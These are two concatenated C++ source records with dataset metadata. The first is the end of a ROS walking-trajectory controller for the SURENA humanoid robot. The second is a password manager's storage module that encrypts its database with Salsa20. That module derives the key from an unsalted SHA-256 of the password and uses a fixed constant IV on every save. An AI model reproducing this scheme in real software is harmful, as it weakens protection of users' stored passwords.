sensors : [%f %f %f %f]\",a,b,c,d);\n\n\n        //-----------------------------------------------------------------------------------------------------//\n        //-----------------start phase--initializing the height of pelvis for walking--------------------------//\n        //-----------------------------------------------------------------------------------------------------//\n        if (startPhase==true && StartTime<=DurationOfStartPhase) {\n            MinimumJerkInterpolation Coef;\n            MatrixXd ZPosition(1,2);\n           // ZPosition<<SURENAOnlineTaskSpace1.InitialPelvisHeight,0.8600;//0.86 is referencePelvisHeight in task space online\n            ZPosition<<SURENAOnlineTaskSpace1.InitialPelvisHeight,SURENAOnlineTaskSpace1.ReferencePelvisHeight;\n            MatrixXd ZVelocity(1,2);\n            ZVelocity<<0.000,0.000;\n            MatrixXd ZAcceleration(1,2);\n            ZAcceleration<<0.000,0.000;\n\n\n            MatrixXd Time(1,2);\n            Time<<0,DurationOfStartPhase;\n            MatrixXd CoefZStart =Coef.Coefficient(Time,ZPosition,ZVelocity,ZAcceleration);\n\n            double zStart=0;\n            double yStart=0;\n            double xStart=0;\n            StartTime=StartTime+SURENAOnlineTaskSpace1._timeStep;\n\n            MatrixXd outputZStart= SURENAOnlineTaskSpace1.GetAccVelPos(CoefZStart,StartTime,0,5);\n            zStart=outputZStart(0,0);\n\n            PoseRoot<<xStart,yStart,zStart,0,0,0;\n\n            PoseRFoot<<0,\n                    -0.11500,\n                    0.112000,\n                    0,\n                    0,\n                    0;\n\n            PoseLFoot<<0,\n                    0.11500,\n                    0.11200,\n                    0,\n                    0,\n                    0;\n\n            SURENA.doIK(\"LLeg_AnkleR_J6\",PoseLFoot,\"Body\", PoseRoot);\n            SURENA.doIK(\"RLeg_AnkleR_J6\",PoseRFoot,\"Body\", PoseRoot);\n\nMinimumJerkInterpolation CoefOffline;\n                double D_pitch=-1*pitchOffset*(M_PI/180);\n                double TstartofPitchModify=DurationOfStartPhase/6;\n                double TendofPitchModify=DurationOfStartPhase;\n                double D_time=TendofPitchModify-TstartofPitchModify;\n            if (StartTime>=TstartofPitchModify && StartTime<=TendofPitchModify){\n                    MatrixXd Ct_pitch_st(1,2);\n                    Ct_pitch_st<<0 ,D_time;\n                    MatrixXd Cp_pitch_st(1,2);\n                    Cp_pitch_st<<0, D_pitch;\n                    MatrixXd Cv_pitch_st(1,2);\n                    Cv_pitch_st<<0 ,0;\n                    MatrixXd Ca_pitch_st(1,2);\n                    Ca_pitch_st<<0 ,0;\n                    MatrixXd C_pitch_st=CoefOffline.Coefficient(Ct_pitch_st,Cp_pitch_st,Cv_pitch_st,Ca_pitch_st);\n\n                                    MatrixXd output=SURENAOnlineTaskSpace1.GetAccVelPos(C_pitch_st,StartTime-(TstartofPitchModify),0,5);\n                        PitchModified=output(0,0);\n\n            }\n\n\n        }\n\n\n\n        int NumberOfTimeStep=(SURENAOnlineTaskSpace1.Tc/SURENAOnlineTaskSpace1._timeStep)+1;\n\n        //-----------------------------------------------------------------------------------------------------//\n        //------------------------------- main loop of cyclic walking -----------------------------------------//\n        //-----------------------------------------------------------------------------------------------------//\n\n        if (StartTime>DurationOfStartPhase && StartTime<(DurationOfStartPhase+SURENAOnlineTaskSpace1.MotionTime)){\n\n            double m1; //Ankle Trajectory Replacement\n            double m2;\n            double m3;\n            double m4;\n            double m5;\n            double m6;\n            double m7;\n            double m8;\n\n            StartTime=StartTime+SURENAOnlineTaskSpace1._timeStep;\n            //qDebug()<<StartTime;\n\n            if(walk==true){\n\n\n\n                if ((SURENAOnlineTaskSpace1.StepNumber==1) && (SURENAOnlineTaskSpace1.localTiming>=SURENAOnlineTaskSpace1.TStart) ) {\n                    //ROS_INFO(\" Contact detected time: [%f]\", SURENAOnlineTaskSpace1.localTiming);\n                    SURENAOnlineTaskSpace1.localTiming=SURENAOnlineTaskSpace1._timeStep;//0.001999999999000000;\n                    SURENAOnlineTaskSpace1.localtimingInteger=1;\n                    SURENAOnlineTaskSpace1.StepNumber=SURENAOnlineTaskSpace1.StepNumber+1;\n                    //  cout<<\"cooontaaaaaactttt deeeeeteeeecteeeeddddddd=\"<<SURENAOnlineTaskSpace1.localTiming<<\" step number= \"<<SURENAOnlineTaskSpace1.StepNumber<<endl;\n                    KLtemp=false;\n                    SURENAOnlineTaskSpace1.CoeffArrayPelvisZMod();\n                    //SURENAOnlineTaskSpace1.OldPelvisZ=SURENAOnlineTaskSpace1.NewPlevisZ;\n\n\n\n\n                  //  if(firststep_sensor_test){\n                   // SURENAOnlineTaskSpace1.LeftSensorActive==true; // was uncomment\n                  //  firststep_sensor_test=false;}\n\n\n\n\n                }\n\n\n\n                else if ((SURENAOnlineTaskSpace1.localtimingInteger>=NumberOfTimeStep) &&   (SURENAOnlineTaskSpace1.StepNumber>1    &&   SURENAOnlineTaskSpace1.StepNumber<(SURENAOnlineTaskSpace1.NStep+2))) {\n                    SURENAOnlineTaskSpace1.StepNumber=SURENAOnlineTaskSpace1.StepNumber+1;\n                    SURENAOnlineTaskSpace1.CoeffArrayPelvisZMod();\n                    SURENAOnlineTaskSpace1.localTiming=SURENAOnlineTaskSpace1._timeStep;//0.001999999999000000;\n                    SURENAOnlineTaskSpace1.localtimingInteger=1;\n\n                    if ((SURENAOnlineTaskSpace1.StepNumber%2)==0) {\n                        KLtemp=false;\n                    }\n                    else {\n                        KRtemp=false;\n                    }\n                }\n                else if (indexLastDS==true && SURENAOnlineTaskSpace1.localTiming>=SURENAOnlineTaskSpace1.TDs && SURENAOnlineTaskSpace1.StepNumber==SURENAOnlineTaskSpace1.NStep+2) {\n                    // ROS_INFO(\" Contact detected time: [%f]\", SURENAOnlineTaskSpace1.localTiming);\n                    SURENAOnlineTaskSpace1.localTiming=0.00200000000000;\n                    SURENAOnlineTaskSpace1.localtimingInteger=1;\n                    indexLastDS=false;\n                    KLtemp=false;\n\n                }\n\n                else if (indexLastDS==false && SURENAOnlineTaskSpace1.localTiming>( 0.5*SURENAOnlineTaskSpace1.TEnd)) {\n                    KRtemp=false;\n                }\n\n\n\n                if (KLtemp==false) {\n                    KLtemp=true;\n                    SURENAOnlineTaskSpace1.currentLeftFootX2=links[12].PositionInWorldCoordinate(0);\n                    SURENAOnlineTaskSpace1.currentLeftFootY2=links[12].PositionInWorldCoordinate(1);\n                    SURENAOnlineTaskSpace1.currentLeftFootZ=links[12].PositionInWorldCoordinate(2);\n                }\n\n                if (KRtemp==false) {\n                    KRtemp=true;\n                    SURENAOnlineTaskSpace1.currentRightFootX2=links[6].PositionInWorldCoordinate(0);\n                    SURENAOnlineTaskSpace1.currentRightFootY2=links[6].PositionInWorldCoordinate(1);\n                    SURENAOnlineTaskSpace1.currentRightFootZ=links[6].PositionInWorldCoordinate(2);\n                }\n\n//replace false with following commented for activing sensor\n              //  if (  /*(RightFootLanded==true)*/ false &&  ( SURENAOnlineTaskSpace1.StepNumber==1 || SURENAOnlineTaskSpace1.localTiming>(SURENAOnlineTaskSpace1.TDs+SURENAOnlineTaskSpace1.TSS/2)   /*|| SURENAOnlineTaskSpace1.StepNumber==(SURENAOnlineTaskSpace1.NStep+2)*/)) {\n\n                if (  (RightFootLanded==true)  &&  ( SURENAOnlineTaskSpace1.StepNumber==1 || SURENAOnlineTaskSpace1.localTiming>(SURENAOnlineTaskSpace1.TDs+SURENAOnlineTaskSpace1.TSS/2)   /*|| SURENAOnlineTaskSpace1.StepNumber==(SURENAOnlineTaskSpace1.NStep+2)*/)) {\n\n                    SURENAOnlineTaskSpace1.oldRightFootX2= SURENAOnlineTaskSpace1.currentRightFootX2;\n                    SURENAOnlineTaskSpace1.oldRightFootY2= SURENAOnlineTaskSpace1.currentRightFootY2;\n                    SURENAOnlineTaskSpace1.oldRightFootZ= SURENAOnlineTaskSpace1.currentRightFootZ;\n\n                    SURENAOnlineTaskSpace1.currentRightFootX2=links[6].PositionInWorldCoordinate(0);\n                    SURENAOnlineTaskSpace1.currentRightFootY2=links[6].PositionInWorldCoordinate(1);\n                    SURENAOnlineTaskSpace1.currentRightFootZ=links[6].PositionInWorldCoordinate(2);\n                   // ROS_INFO(\"Right foot Z height early contact offset: [%f ]\", (SURENAOnlineTaskSpace1.currentRightFootZ-SURENAOnlineTaskSpace1._lenghtOfAnkle));\n                    // ROS_INFO(\"Right foot Z height early contact offset: [%f ]\", (SURENAOnlineTaskSpace1.currentRightFootX2-SURENAOnlineTaskSpace1._lenghtOfAnkle));\n                   //SURENAOnlineTaskSpace1.NewPlevisZ =SURENAOnlineTaskSpace1.OldPelvisZ+(SURENAOnlineTaskSpace1.currentRightFootZ-SURENAOnlineTaskSpace1.OldPelvisZ);\n                     SURENAOnlineTaskSpace1.NewPlevisZ =SURENAOnlineTaskSpace1.OldPelvisZ+(SURENAOnlineTaskSpace1.currentRightFootZ-SURENAOnlineTaskSpace1.oldRightFootZ);\n                   RFT=true;\n\n                }\n                else if (SURENAOnlineTaskSpace1.localTiming<(SURENAOnlineTaskSpace1.TDs+SURENAOnlineTaskSpace1.TSS/2) ) {\n                    RFT=false;\n                }\n\n\n//replace false with following commented for activing sensro\n              // if ((  /*(LeftFootLanded==true)*/ false && SURENAOnlineTaskSpace1.localTiming>(SURENAOnlineTaskSpace1.TDs+SURENAOnlineTaskSpace1.TSS/2) )) {\n                    if ((  (LeftFootLanded==true) && SURENAOnlineTaskSpace1.localTiming>(SURENAOnlineTaskSpace1.TDs+SURENAOnlineTaskSpace1.TSS/2) )) {\n\n                    SURENAOnlineTaskSpace1.oldLeftFootX2= SURENAOnlineTaskSpace1.currentLeftFootX2;\n                    SURENAOnlineTaskSpace1.oldLeftFootY2= SURENAOnlineTaskSpace1.currentLeftFootY2;\n                    SURENAOnlineTaskSpace1.oldLeftFootZ= SURENAOnlineTaskSpace1.currentLeftFootZ;\n\n                    SURENAOnlineTaskSpace1.currentLeftFootX2=links[12].PositionInWorldCoordinate(0);\n                    SURENAOnlineTaskSpace1.currentLeftFootY2=links[12].PositionInWorldCoordinate(1);\n                    SURENAOnlineTaskSpace1.currentLeftFootZ=links[12].PositionInWorldCoordinate(2);\n                    //SURENAOnlineTaskSpace1.NewPlevisZ =SURENAOnlineTaskSpace1.OldPelvisZ+(SURENAOnlineTaskSpace1.currentLeftFootZ-SURENAOnlineTaskSpace1.OldPelvisZ);\n                   // ROS_INFO(\"left foot Z height early contact offset: [%f ]\", (SURENAOnlineTaskSpace1.currentLeftFootZ-SURENAOnlineTaskSpace1._lenghtOfAnkle));\n                     SURENAOnlineTaskSpace1.NewPlevisZ =SURENAOnlineTaskSpace1.OldPelvisZ+(SURENAOnlineTaskSpace1.currentLeftFootZ-SURENAOnlineTaskSpace1.oldLeftFootZ);\n                    LFT=true;\n                }\n                else if ( SURENAOnlineTaskSpace1.localTiming<(SURENAOnlineTaskSpace1.TDs+SURENAOnlineTaskSpace1.TSS/2) ) {\n                    LFT=false;\n                }\n\n\n                MatrixXd m=SURENAOnlineTaskSpace1.AnkleTrajectory(SURENAOnlineTaskSpace1.globalTime,SURENAOnlineTaskSpace1.StepNumber,SURENAOnlineTaskSpace1.localTiming,RFT,LFT,indexLastDS);\n                m1=m(0,0);\n                m2=m(1,0);\n                m3=m(2,0);\n                m4=m(3,0);\n                m5=m(4,0);\n                m6=m(5,0);\n                m7=m(6,0);\n                m8=m(7,0);\n\n\n                Pz=SURENAOnlineTaskSpace1.ModificationOfPelvisHeight(SURENAOnlineTaskSpace1.globalTime,SURENAOnlineTaskSpace1.StepNumber,SURENAOnlineTaskSpace1.localTiming,RFT,LFT,indexLastDS);\n\n                RollModified=SURENAOnlineTaskSpace1.RollAngleModification(SURENAOnlineTaskSpace1.globalTime,SURENAOnlineTaskSpace1.StepNumber,SURENAOnlineTaskSpace1.localTiming,indexLastDS);\n                P=SURENAOnlineTaskSpace1.PelvisTrajectory (SURENAOnlineTaskSpace1.globalTime,SURENAOnlineTaskSpace1.StepNumber,SURENAOnlineTaskSpace1.localTiming,indexLastDS);\n\n                SURENAOnlineTaskSpace1.globalTime=SURENAOnlineTaskSpace1.globalTime+SURENAOnlineTaskSpace1._timeStep;\n                SURENAOnlineTaskSpace1.localTiming=SURENAOnlineTaskSpace1.localTiming+SURENAOnlineTaskSpace1._timeStep;\n                SURENAOnlineTaskSpace1.localtimingInteger= SURENAOnlineTaskSpace1.localtimingInteger+1;\n\n\n                if (round(SURENAOnlineTaskSpace1.globalTime)<=round(SURENAOnlineTaskSpace1.MotionTime)){\n\n\n //if you want to have modification of height of pelvis please active the Pz(0,0) instead of P(2,0)\n                    PoseRoot<<P(0,0),\n                            P(1,0),\n                            Pz(0,0),\n                            0,\n                            0,\n                            0;\n\n                    PoseRFoot<<m5,\n                            m6,\n                            m7,\n                            0,\n                            -1*m8*(M_PI/180),\n                            0;\n\n                    PoseLFoot<<m1,\n                            m2,\n                            m3,\n                            0,\n                            -1*m4*(M_PI/180),\n                            0;\n\n\n                    SURENA.doIK(\"LLeg_AnkleR_J6\",PoseLFoot,\"Body\", PoseRoot);\n                    SURENA.doIK(\"RLeg_AnkleR_J6\",PoseRFoot,\"Body\", PoseRoot);\n\n                    SURENA.ForwardKinematic(1);\n                }\n            }\n        }\n\n        //-----------------------------------------------------------------------------------------------------//\n        //------------------- end phase-- finializing height of pelvis to home position -----------------------//\n        //-----------------------------------------------------------------------------------------------------//\n\n        if (endPhase==true &&  StartTime>=(DurationOfStartPhase+SURENAOnlineTaskSpace1.MotionTime) && StartTime<=DurationOfendPhase+DurationOfStartPhase+SURENAOnlineTaskSpace1.MotionTime) {\n\n            MinimumJerkInterpolation Coef;\n            MatrixXd ZPosition(1,2);\n            //ZPosition<<Pz(0,0),Pz(0,0)-SURENAOnlineTaskSpace1.ReferencePelvisHeight+SURENAOnlineTaskSpace1.InitialPelvisHeight;//this one should be edited\n            ZPosition<<SURENAOnlineTaskSpace1.ReferencePelvisHeight,SURENAOnlineTaskSpace1.InitialPelvisHeight;//this one should be edited\n            MatrixXd ZVelocity(1,2);\n            ZVelocity<<0.000,0.000;\n            MatrixXd ZAcceleration(1,2);\n            ZAcceleration<<0.000,0.000;\n\n            MatrixXd Time(1,2);\n            Time<<DurationOfStartPhase+SURENAOnlineTaskSpace1.MotionTime,DurationOfStartPhase+SURENAOnlineTaskSpace1.MotionTime+DurationOfendPhase;\n            MatrixXd CoefZStart =Coef.Coefficient(Time,ZPosition,ZVelocity,ZAcceleration);\n\n            double zStart=0;\n            double yStart=0;\n            double xStart=0;\n            StartTime=StartTime+SURENAOnlineTaskSpace1._timeStep;\n\n            MatrixXd outputZStart= SURENAOnlineTaskSpace1.GetAccVelPos(CoefZStart,StartTime,DurationOfStartPhase+SURENAOnlineTaskSpace1.MotionTime,5);\n            zStart=outputZStart(0,0);\n\n            PoseRoot<<xStart,yStart,zStart,0,0,0;\n\n            PoseRFoot<<0,\n                    -0.11500,\n                    SURENAOnlineTaskSpace1.currentRightFootZ,\n                    0,\n                    0,\n                    0;\n\n            PoseLFoot<<0,\n                    0.11500,\n                    SURENAOnlineTaskSpace1.currentLeftFootZ,\n                    0,\n                    0,\n                    0;\n\n            SURENA.doIK(\"LLeg_AnkleR_J6\",PoseLFoot,\"Body\", PoseRoot);\n            SURENA.doIK(\"RLeg_AnkleR_J6\",PoseRFoot,\"Body\", PoseRoot);\n\n\n            MinimumJerkInterpolation CoefOffline;\n            double D_pitch=-1*pitchOffset*(M_PI/180);\n            double TstartofPitchModify=DurationOfendPhase/6+DurationOfStartPhase+SURENAOnlineTaskSpace1.MotionTime;\n            double TendofPitchModify=DurationOfendPhase*5/6+DurationOfStartPhase+SURENAOnlineTaskSpace1.MotionTime;\n            double D_time=TendofPitchModify-TstartofPitchModify;\n            if (StartTime>=TstartofPitchModify && StartTime<=TendofPitchModify){\n                MatrixXd Ct_pitch_st(1,2);\n                Ct_pitch_st<<-D_time, 0;\n                MatrixXd Cp_pitch_st(1,2);\n                Cp_pitch_st<<D_pitch, 0;\n                MatrixXd Cv_pitch_st(1,2);\n                Cv_pitch_st<<0 ,0;\n                MatrixXd Ca_pitch_st(1,2);\n                Ca_pitch_st<<0 ,0;\n                MatrixXd C_pitch_st=CoefOffline.Coefficient(Ct_pitch_st,Cp_pitch_st,Cv_pitch_st,Ca_pitch_st);\n\n                MatrixXd output=SURENAOnlineTaskSpace1.GetAccVelPos(C_pitch_st,StartTime-(TendofPitchModify),-D_time,5);\n                PitchModified=output(0,0);\n\n            }\n\n\n\n        }\n\n\n        links = SURENA.GetLinks();\n        if(links[5].JointAngle<min_test){min_test=links[5].JointAngle;}\n        if(links[5].JointAngle>max_test){max_test=links[5].JointAngle;}\n        ROS_INFO(\"ankl pith min=%f,max=%f\",min_test*180/M_PI,max_test*180/M_PI);\n\n\n\n\n        //SURENAOnlineTaskSpace1.RightFootOrientationAdaptator=false;\n        //SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator=false;\n\n        //        else {//else  is for situation that sensor is contacting and adapting ground\ndouble ankle_adaptation_switch=0;// 1 for activating adaptation 0 for siktiring adaptation\ndouble k_roll_corr=0;\n        cntrl[0]=0.0;\n        cntrl[1]=(links[1].JointAngle);\n        cntrl[2]=(links[2].JointAngle+k_roll_corr*(links[2].JointAngle-roll_absoulte[0])+1*RollModified(0,0));\n        cntrl[3]=links[3].JointAngle+1.25*PitchModified;\n        cntrl[4]=links[4].JointAngle;\n//        cntrl[5]=links[5].JointAngle+ankle_adaptation_switch*((SURENAOnlineTaskSpace1.RightFootOrientationAdaptator==true)*teta_motor_R+Offset_teta_R);//pitch\n//        cntrl[6]=links[6].JointAngle+ankle_adaptation_switch*((SURENAOnlineTaskSpace1.RightFootOrientationAdaptator==true)*phi_motor_R+Offset_phi_R);//roll\n        cntrl[5]=links[5].JointAngle+ankle_adaptation_switch*teta_motor_R;//pitch\n        cntrl[6]=links[6].JointAngle+ankle_adaptation_switch*(phi_motor_R);//roll\n\n        cntrl[7]=links[7].JointAngle;\n        cntrl[8]=links[8].JointAngle+k_roll_corr*(links[8].JointAngle-roll_absoulte[1])+1*RollModified(1,0);\n        cntrl[9]=links[9].JointAngle+1.25*PitchModified;\n        cntrl[10]=links[10].JointAngle;\n//        cntrl[11]=links[11].JointAngle+ankle_adaptation_switch*((SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator==true)*teta_motor_L+Offset_teta_L);\n//        cntrl[12]=links[12].JointAngle+ankle_adaptation_switch*((SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator==true)*phi_motor_L+Offset_phi_L);\n        cntrl[11]=links[11].JointAngle+ankle_adaptation_switch*teta_motor_L;\n        cntrl[12]=links[12].JointAngle+ankle_adaptation_switch*(phi_motor_L);\n\n        //        }\n       // ROS_INFO(\"teta_R=%f,Offset_teta_R=%f,phi_R=%f,Offset_phi_R=%f,teta_L=%f,Offset_teta_L=%f,phi_L=%f,Offset_phi_L=%f\",teta_motor_R,Offset_teta_R,phi_motor_R,Offset_phi_R,teta_motor_L,Offset_teta_L,phi_motor_L,Offset_phi_L);\n//please uncomment /*SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator==true* for activing sensor and also replace 0 with  1 in above code\n\n\n        vector<int> qref(12);\n        qref=QC.ctrldata2qc(cntrl);\n\n        msg.data.clear();\n        bool left_first=true;//right support in first step\n        if(left_first){\n            for(int  i = 0;i < 12;i++)\n            {\n                msg.data.push_back(qref[i]+qc_offset[i]);\n            }}\n        else{\n            msg.data.push_back(-qref[5]+qc_offset[0]);\n            msg.data.push_back(-qref[4]+qc_offset[1]);\n            msg.data.push_back(-qref[6]+qc_offset[2]);\n            msg.data.push_back(-qref[7]+qc_offset[3]);\n            msg.data.push_back(-qref[1]+qc_offset[4]);\n            msg.data.push_back(-qref[0]+qc_offset[5]);\n            msg.data.push_back(-qref[2]+qc_offset[6]);\n            msg.data.push_back(-qref[3]+qc_offset[7]);\n            msg.data.push_back(-qref[11]+qc_offset[8]);\n            msg.data.push_back(-qref[10]+qc_offset[9]);\n            msg.data.push_back(-qref[9]+qc_offset[10]);\n            msg.data.push_back(-qref[8]+qc_offset[11]);\n        }\n\n        for(int  i = 12;i < 28;i++)\n        {\n            msg.data.push_back(0);\n        }\n\n       // SendGazebo(links,RollModified,PitchModified,teta_motor_R+0*Offset_teta_R,phi_motor_R+0*Offset_phi_R,teta_motor_L+0*Offset_teta_L,phi_motor_L+0*Offset_phi_L);\n        chatter_pub.publish(msg);\n\n        msg_contact_flag.data.clear();\n        msg_contact_flag.data.push_back(contact_flag_timing);\n        msg_contact_flag.data.push_back(contact_flag_sensor);\n        msg_contact_flag.data.push_back(contact_flag_sensor2);\n\n        contact_flag.publish(msg_contact_flag);\n        //  ROS_INFO(\"t={%d} c={%d}\",timer.elapsed(),count);\n       if(count%20==0){\n//           ROS_INFO(\"right:des=%f,abs=%f,diff=%f (inc=%d),left:des=%f,abs=%f,diff=%f (inc=%d)\",links[2].JointAngle,\n//                   roll_absoulte[0],links[2].JointAngle-roll_absoulte[0],int((links[2].JointAngle-roll_absoulte[0])*120*2340/2/M_PI),\n//                   links[8].JointAngle,roll_absoulte[1],\n//                   links[8].JointAngle-roll_absoulte[1],int((links[8].JointAngle-roll_absoulte[1])*120*2340/2/M_PI));\n       //ROS_INFO(\"time=%f\\tRollModifiedRight=%f RollModifiedLeft=%f\",StartTime,RollModified(0,0)*180/M_PI,RollModified(1,0)*180/M_PI);\n//ROS_INFO(\"rightpitch=%f , leftpitch=%f\",cntrl[3],cntrl[9]);\n       }\n    //    ROS_INFO(\"q=%d\",qref[9]);\n        //ROS_INFO(\"q=%d\",qref[9]);\n        ros::spinOnce();\n        loop_rate.sleep();\n        ++count;\n    }\n\n    return 0;\n}\n\n\n", "meta": {"hexsha": "ecb94618155a95fa48682a7ac905b49aa14c9e01", "size": 49131, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "surena4/src/trajectory_generation/src/trajectory_generationOnlineAdaptation.cpp", "max_stars_repo_name": "amin-amani/humanoid", "max_stars_repo_head_hexsha": "7493fc566064ff903deb130376eb67e684c6a303", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2021-11-16T08:51:26.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-16T08:51:26.000Z", "max_issues_repo_path": "surena4/src/trajectory_generation/src/trajectory_generationOnlineAdaptation.cpp", "max_issues_repo_name": "amin-amani/humanoid", "max_issues_repo_head_hexsha": "7493fc566064ff903deb130376eb67e684c6a303", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2018-10-27T13:34:18.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-27T13:34:18.000Z", "max_forks_repo_path": "surena4/src/trajectory_generation/src/trajectory_generationOnlineAdaptation.cpp", "max_forks_repo_name": "amin-amani/humanoid", "max_forks_repo_head_hexsha": "7493fc566064ff903deb130376eb67e684c6a303", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.0270897833, "max_line_length": 277, "alphanum_fraction": 0.614031874, "num_tokens": 13122, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5350984286266115, "lm_q2_score": 0.20434189993684584, "lm_q1q2_score": 0.1093430295587825}}
{"text": "#include \"onepass/storage.hpp\"\n\n#include <cryptopp/base64.h>\n\n#include <boost/algorithm/string.hpp>\n#include <boost/archive/iterators/base64_from_binary.hpp>\n#include <boost/archive/iterators/binary_from_base64.hpp>\n#include <boost/archive/iterators/insert_linebreaks.hpp>\n#include <boost/archive/iterators/transform_width.hpp>\n#include <fstream>\n#include <sstream>\n\n#include \"cryptopp/cryptlib.h\"\n#include \"cryptopp/files.h\"\n#include \"cryptopp/osrng.h\"\n#include \"cryptopp/salsa.h\"\n#include \"cryptopp/secblock.h\"\n#include \"onepass/database.hpp\"\n\nusing namespace onepass::storage;\n\nvoid Storage::read(\n    Database &database,\n    const std::string password,\n    const std::string filename,\n    EncodeType encodeType,\n    EncryptType encryptType)\n{\n  if (encryptType == EncryptType::Salsa2)\n  {\n    CryptoPP::byte digest[CryptoPP::SHA256::DIGESTSIZE];\n    CryptoPP::Salsa20::Decryption decryption;\n    CryptoPP::SecByteBlock sbb(8);\n    memset(sbb, 0x10101110, sbb.size());\n    CryptoPP::SHA256().CalculateDigest(\n        digest, reinterpret_cast<const CryptoPP::byte *>(password.c_str()), password.length());\n    decryption.SetKeyWithIV(digest, CryptoPP::SHA256::DIGESTSIZE, sbb, sbb.size());\n\n    if (encodeType == EncodeType::None)\n    {\n      std::string decrypted;\n      CryptoPP::FileSource database2(\n          filename.c_str(), true, new CryptoPP::StreamTransformationFilter(decryption, new CryptoPP::StringSink(decrypted)));\n      std::istringstream iss(decrypted);\n      boost::archive::text_iarchive iar(iss);\n      iar >> database;\n    }\n    if (encodeType == EncodeType::Url || encodeType == EncodeType::Base64)\n    {\n      std::ifstream ifs(filename);\n      if (ifs.is_open())\n      {\n        std::stringstream ss;\n        ss << ifs.rdbuf();\n        ss.str(decode(ss.str(), encodeType));\n        std::string decrypted;\n        CryptoPP::StringSource stringSource(\n            ss.str(), true, new CryptoPP::StreamTransformationFilter(decryption, new CryptoPP::StringSink(decrypted)));\n        std::istringstream iss(decrypted);\n        boost::archive::text_iarchive iar(iss);\n        iar >> database;\n      }\n    }\n  }\n  if (encryptType == EncryptType::None)\n  {\n    std::ifstream ifs(filename);\n    if (ifs.is_open())\n    {\n      std::stringstream ss;\n      ss << ifs.rdbuf();\n      ss.str(decode(ss.str(), encodeType));\n      boost::archive::text_iarchive iar(ss);\n      iar >> database;\n    }\n  }\n}\n\nvoid Storage::save(const Database &database, const std::string filename, EncodeType encodeType, EncryptType encryptType)\n{\n  if (encryptType == EncryptType::Salsa2)\n  {\n    CryptoPP::byte digest[CryptoPP::SHA256::DIGESTSIZE];\n    CryptoPP::SecByteBlock sbb(8);\n    CryptoPP::Salsa20::Encryption encryption;\n\n    memset(sbb, 0x10101110, sbb.size());\n    CryptoPP::SHA256().CalculateDigest(\n        digest, reinterpret_cast<const CryptoPP::byte *>(database.getPassword().c_str()), database.getPassword().length());\n    encryption.SetKeyWithIV(digest, CryptoPP::SHA256::DIGESTSIZE, sbb, sbb.size());\n\n    std::ostringstream oss;\n    boost::archive::text_oarchive oar{ oss };\n    oar << database;\n\n    if (encodeType == EncodeType::None)\n    {\n      CryptoPP::StringSource stringSource(\n          oss.str(), true, new CryptoPP::StreamTransformationFilter(encryption, new CryptoPP::FileSink(filename.c_str())));\n    }\n    if (encodeType == EncodeType::Base64 || encodeType == EncodeType::Url)\n    {\n      std::string encrypted;\n      CryptoPP::StringSource stringSource(\n          oss.str(), true, new CryptoPP::StreamTransformationFilter(encryption, new CryptoPP::StringSink(encrypted)));\n\n      std::ofstream ofs;\n      ofs.open(filename.c_str(), std::ios::out);\n      if (ofs.is_open())\n      {\n        ofs << encode(encrypted, encodeType);\n        ofs.close();\n      }\n    }\n  }\n  if (encryptType == EncryptType::None)\n  {\n    std::stringstream ss;\n    std::ofstream ofs;\n    ofs.open(filename.c_str(), std::ios::out);\n    if (ofs.is_open())\n    {\n      boost::archive::text_oarchive oar{ ss };\n      oar << database;\n      ofs << encode(ss.str(), encodeType);\n      ofs.close();\n    }\n    else\n      throw \"Error opening file\";\n  }\n}\n\nbool Storage::doesFileExists(std::string const path)\n{\n  std::ifstream file(path.c_str());\n  return file.good();\n}\n\nstd::string Storage::encode(const std::string &value, EncodeType encodeType)\n{\n  switch (encodeType)\n  {\n    case EncodeType::Url: return encodeUrl64(value);\n    case EncodeType::Base64: return encode64(value);\n    case EncodeType::None: return value;\n    default: return encode64(value);\n  }\n}\n\nstd::string Storage::decode(const std::string &value, EncodeType encodeType)\n{\n  switch (encodeType)\n  {\n    case EncodeType::Url: return decodeUrl64(value);\n    case EncodeType::Base64: return decode64(value);\n    case EncodeType::None: return value;\n    default: return decode64(value);\n  }\n}\n\nstd::string Storage::decode64(const std::string &value)\n{\n  std::string decoded;\n  using namespace CryptoPP;\n  StringSource ss(value, true, new Base64Decoder(new StringSink(decoded)));\n  return decoded;\n}\n\nstd::string Storage::encode64(const std::string &value)\n{\n  std::string encoded;\n  using namespace CryptoPP;\n  StringSource ss(\n      reinterpret_cast<const byte *>(value.c_str()), value.size(), true, new Base64Encoder(new StringSink(encoded)));\n  return encoded;\n}\n\nstd::string Storage::decodeUrl64(const std::string &value)\n{\n  std::string decoded;\n  using namespace CryptoPP;\n  StringSource ss(value, true, new Base64URLDecoder(new StringSink(decoded)));\n  return decoded;\n}\n\nstd::string Storage::encodeUrl64(const std::string &value)\n{\n  std::string encoded;\n  using namespace CryptoPP;\n  StringSource ss(\n      reinterpret_cast<const byte *>(value.c_str()), value.size(), true, new Base64URLEncoder(new StringSink(encoded)));\n  return encoded;\n}", "meta": {"hexsha": "e8e1679f216c04ebd81f7f4d859ba0db33abf1c4", "size": 5813, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/storage.cpp", "max_stars_repo_name": "inql/OnePass", "max_stars_repo_head_hexsha": "6e24d6bd6bcb70fdac4de5e4a155fcea68ea85ef", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 4.0, "max_stars_repo_stars_event_min_datetime": "2021-10-20T17:40:33.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-14T09:39:46.000Z", "max_issues_repo_path": "src/storage.cpp", "max_issues_repo_name": "inql/OnePass", "max_issues_repo_head_hexsha": "6e24d6bd6bcb70fdac4de5e4a155fcea68ea85ef", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/storage.cpp", "max_forks_repo_name": 